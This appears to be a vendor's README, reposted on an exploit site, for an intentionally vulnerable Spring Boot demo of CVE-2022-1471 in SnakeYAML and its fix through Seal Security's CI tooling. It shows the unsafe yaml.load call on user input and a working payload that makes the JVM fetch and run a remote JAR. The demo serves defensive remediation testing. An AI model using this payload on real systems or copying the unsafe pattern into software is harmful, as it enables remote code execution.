## https://sploitus.com/exploit?id=32A298E1-9149-5FC1-8BB8-03E78926D5E5
# Seal Security — Java (Maven) Example
A minimal, intentionally vulnerable Spring Boot application used to demonstrate, end‑to‑end,
how [Seal Security](https://www.sealsecurity.io/) remediates a known CVE by replacing a
vulnerable dependency with a **sealed** (backported, drop‑in) version — with **no change to
your declared coordinates or your code**.
It is designed as a front‑to‑back smoke test for the Seal CLI in CI/CD: run the app, trigger
a real exploit, run Seal, and watch the same exploit get blocked.
---
## What this example demonstrates
| | |
|---|---|
| **Ecosystem** | Java / Maven |
| **Vulnerable package** | `org.yaml:snakeyaml:1.33` |
| **CVE** | [CVE‑2022‑1471](https://nvd.nist.gov/vuln/detail/CVE-2022-1471) — SnakeYAML `Constructor` deserialization → Remote Code Execution (CVSS 9.8) |
| **Sealed (fixed) version** | `snakeyaml 1.33+sp1` from Seal's Maven registry |
| **Integration** | Seal CLI as one build step — shown for both **GitHub Actions** and **Jenkins** |
The project also declares other well‑known vulnerable dependencies (`jackson-databind 2.13.1`,
`commons-text 1.9`, `spring-core/web 5.3.26`, `json-smart 2.4.8`, `commons-lang3 3.12.0`,
`spring-boot 2.7.18`), each of which Seal also remediates to a sealed build.
---
## How the exploit works
The welcome page takes a `name`, and parses it through SnakeYAML's default constructor:
```java
Yaml yaml = new Yaml();
Object parsed = yaml.load(name); // SnakeYAML 1.33 — CVE-2022-1471
```
SnakeYAML's default `Constructor` will instantiate **arbitrary Java types** named in the YAML.
An attacker submits a payload that builds a `ScriptEngineManager` backed by a remote
`URLClassLoader`, causing the JVM to download and execute attacker‑controlled code.
**Normal request:** enter `alice` → renders `Welcome, alice!`
**Exploit payload** (paste into the name field):
```
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sec-demo-2/yaml-payload/main/yaml-payload.jar"]]]]
```
The JVM loads the remote JAR and runs its code — demonstrating remote code execution driven
purely by untrusted input.
---
## Repository layout
```
.
├── pom.xml # declares the vulnerable dependencies
├── src/main/java/… # Spring Boot app (HelloController, DataService)
├── .seal-actions.yml # optional local fix-mode mapping (vulnerable → sealed)
├── Jenkinsfile # example Jenkins (Groovy) pipeline with the Seal stage
└── .github/workflows/
├── build-and-run.yml # build + expose the app for browser testing
└── seal-security.yml # run Seal remediation, then start the app
```
---
## Prerequisites
Seal is **SaaS, Seal‑hosted** — nothing is installed inside your environment, and all traffic
is **outbound HTTPS on TCP 443** only. To run the remediation you need:
| Secret / credential | Used for | Where it goes |
|---|---|---|
| **Seal token** | Authenticating the Seal CLI | GitHub Actions secret `SEAL_TOKEN` / Jenkins "Secret text" credential `seal-token` |
| **ngrok token** *(optional)* | Exposing the running app to a browser for testing | GitHub Actions secret `NGROK_TOKEN` |
> Configure these in **Settings → Secrets and variables → Actions** (GitHub) or
> **Manage Jenkins → Credentials** (Jenkins). Never commit tokens to the repo.
Allowlist these Seal hosts for outbound 443:
`app.sealsecurity.io`, `authorization.sealsecurity.io`, `cli.sealsecurity.io`, and — for
sealed Maven artifacts — **`maven.sealsecurity.io`**. The CLI binary is downloaded from
`github.com` / `objects.githubusercontent.com`.
---
## Run it locally
```bash
mvn clean package -DskipTests
java -jar target/java-example-1.0.0.jar # → http://localhost:8080
```
Open `http://localhost:8080/`, enter a normal name (works), then paste the exploit payload.
---
## Remediate with Seal
The Seal CLI runs as **one extra step**, after dependencies are resolved and before packaging.
It scans the resolved dependencies and rewrites the vulnerable ones to their sealed versions,
using **remote** fix mode (policy is managed centrally in the Seal UI).
### Option A — GitHub Actions
Uses [`seal-community/cli-action`](https://github.com/seal-community/cli-action):
```yaml
- uses: seal-community/cli-action@latest
with:
mode: fix
fix_mode: remote
token: ${{ secrets.SEAL_TOKEN }}
target: pom.xml # the manifest for this ecosystem
```
Run it via **Actions → “Seal Security Remediation” → Run workflow**. See
[`.github/workflows/seal-security.yml`](.github/workflows/seal-security.yml).
### Option B — Jenkins (Groovy pipeline)
A single added stage, after dependency resolution and before packaging. See
[`Jenkinsfile`](Jenkinsfile):
```groovy
stage('Seal') {
steps {
sh '''
curl -fsSL https://github.com/seal-community/cli/releases/download/latest/seal-linux-amd64-latest -o seal
chmod +x seal
./seal fix --mode remote "$SEAL_MANIFEST" # SEAL_MANIFEST=pom.xml
'''
}
}
```
`SEAL_TOKEN` comes from the `seal-token` Jenkins credential; set `SEAL_PROJECT` to your Seal
Project ID.
---
## What Seal changes
After `seal fix`, the vulnerable dependencies resolve to sealed builds from Seal's Maven
registry — same coordinates, security fix backported:
| Dependency | Before | After (sealed) |
|---|---|---|
| org.yaml:snakeyaml | 1.33 | **1.33+sp1** |
| com.fasterxml.jackson.core:jackson-databind | 2.13.1 | **2.13.1+sp1** |
| org.apache.commons:commons-text | 1.9 | **1.9+sp1** |
| org.springframework:spring-core / spring-web | 5.3.26 | **5.3.26+sp1** |
| net.minidev:json-smart | 2.4.8 | **2.4.8+sp1** |
| org.apache.commons:commons-lang3 | 3.12.0 | **3.12.0+sp1** |
| org.springframework.boot:spring-boot | 2.7.18 | **2.7.18+sp1** |
A sealed version is the *same* artifact with the security fix backported — a drop‑in
replacement, no code changes and no major‑version upgrade.
## Verify the fix
Re‑run the exploit against the remediated app. The sealed `snakeyaml` refuses to instantiate
the malicious global types, so the payload no longer loads the remote JAR — remote code
execution is blocked.
---
## How to add Seal to your own project
1. Add **one step** to your pipeline, **after** dependencies are resolved and **before**
packaging.
2. Point `seal fix` at the specific manifest — `pom.xml` for Maven. For a multi‑module build,
run one `seal fix` per manifest.
3. Use **remote** fix mode so your security team manages remediation policy centrally in the
Seal UI — nothing is committed to the repo.
4. Provide the Seal token via your CI secret store (GitHub secret / Jenkins credential).
That's the whole integration — one stage, outbound‑only, no changes to application code.